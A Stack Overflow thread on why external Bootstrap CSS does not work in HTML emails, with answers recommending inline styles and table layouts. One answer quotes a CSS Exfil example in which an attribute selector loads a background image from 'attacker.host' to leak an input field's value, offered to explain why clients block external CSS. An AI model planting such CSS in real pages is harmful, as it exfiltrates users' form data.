5

I have Done a Html format Email system... So over there I can able to send email In html format..With internal CSS

Now I have done same with external bootstrap CSS..

over there CSS is missing. Hence I am using an External bootstrap css this is my external css link

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">

However external bootstrap CSS is loading when I run it as an Html page.

But its not working In Email

Please suggest me regarding this..

E_net4
  • 27,810
  • 13
  • 101
  • 139
Don't Be negative
  • 1,215
  • 3
  • 19
  • 46
  • duplicate here: http://stackoverflow.com/questions/2105963/can-you-link-to-a-css-file-from-an-email – fikkatra Mar 31 '16 at 07:14
  • Possible duplicate of [Has anyone gotten HTML emails working with Twitter Bootstrap?](http://stackoverflow.com/questions/9732580/has-anyone-gotten-html-emails-working-with-twitter-bootstrap) – mmativ Mar 31 '16 at 07:14
  • 1
    I would highly recommend not to do this, gmail will strip all styling in including refs. – Bidstrup Mar 31 '16 at 07:28
  • thanks @RasmusBidstrup sir.. But Is there Any way to use this in Gmail.. Because I am getting all adds in Gmail... – Don't Be negative Mar 31 '16 at 07:31
  • 1
    there is no way for Gmail and a few others. Most email clients don't let you use an external style sheet. It is for the protection of your personal information as well as the structure and integrity of their site/client that they prevent this, so i doubt it is changing anytime soon. Use an inliner, or attach the sheet as an embedded style sheet. – Gortonington Mar 31 '16 at 14:58

3 Answers3

8
  1. First thing is you cannot link external CSS from a CDN or anyplace.
  2. But you can Insert images from outside
  3. you have to write you CSS rules inline html.
  4. And you cannot use divisions(divs)in you email template html code.
  5. You have to make the template's structure with html tables.

For more email template guidelines : http://earthintegrate.com/guidelines-for-creating-an-html-email-template/

Good Luck !

Srivin Prabhash

Srivin Prabhash
  • 123
  • 1
  • 4
  • Thanks @SrivinPrabhash sir.. But there should some other Way But I will Upvote ur answer – Don't Be negative Mar 31 '16 at 07:33
  • I don't think that there's another way.Some email client's like roundcube support external resources but somes like gmail not supporting. :( but don't giveup.There may be a way.Thank You ! – Srivin Prabhash Mar 31 '16 at 07:37
3

Gmail will strip everything in the <head>, that's just how they made it.

What you can do is to use a service like mailchips inline-css generator, to make all of the inline codes for you.

Mr Lister
  • 45,515
  • 15
  • 108
  • 150
Bidstrup
  • 1,597
  • 2
  • 16
  • 32
  • It looks like it's not true (anymore) https://developers.google.com/gmail/design/css – Edo Feb 13 '17 at 09:09
  • You are right, they have changed that now. So gmail does include headers now, but Android Native still dosnt, and Gmail app also still have some issues. – Bidstrup Feb 13 '17 at 09:26
1

The reason for blocking external CSS is that it provides the same tracking ability that tracking pixels do - a given email is requesting data from a remote server in order to be able to render the page. Thus, no reasonable email client is going to allow you an uncontrolled CSS external link.

This abuse of CSS can be taken to the length of a complete CSS Keylogger which was discussed at length in Mike Gualtieri's post.

Quoting Mike:

The CSS Exfil attack centers around the CSS 'value selectors', which can be used to parse HTML tag attribute data.

This simple example demonstrates how these selectors can be abused:

<style>
    #username[value="mikeg"] {
            background:url("https://attacker.host/mikeg");
    }
</style>
<input id="username" value="mikeg" />

In the above example, when the HTML/CSS is rendered in a web browser, a background image is loaded on a remote host controlled by the attacker, indicating the value of the input is 'mikeg'. To make the attack more useful, additional text parsing is required. Below are several proof of concept exploits demonstrating the variety, scope, and severity of potential attacks.


As mentioned in this Hacker news thread, it is prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.

Andy Dent
  • 17,578
  • 6
  • 88
  • 115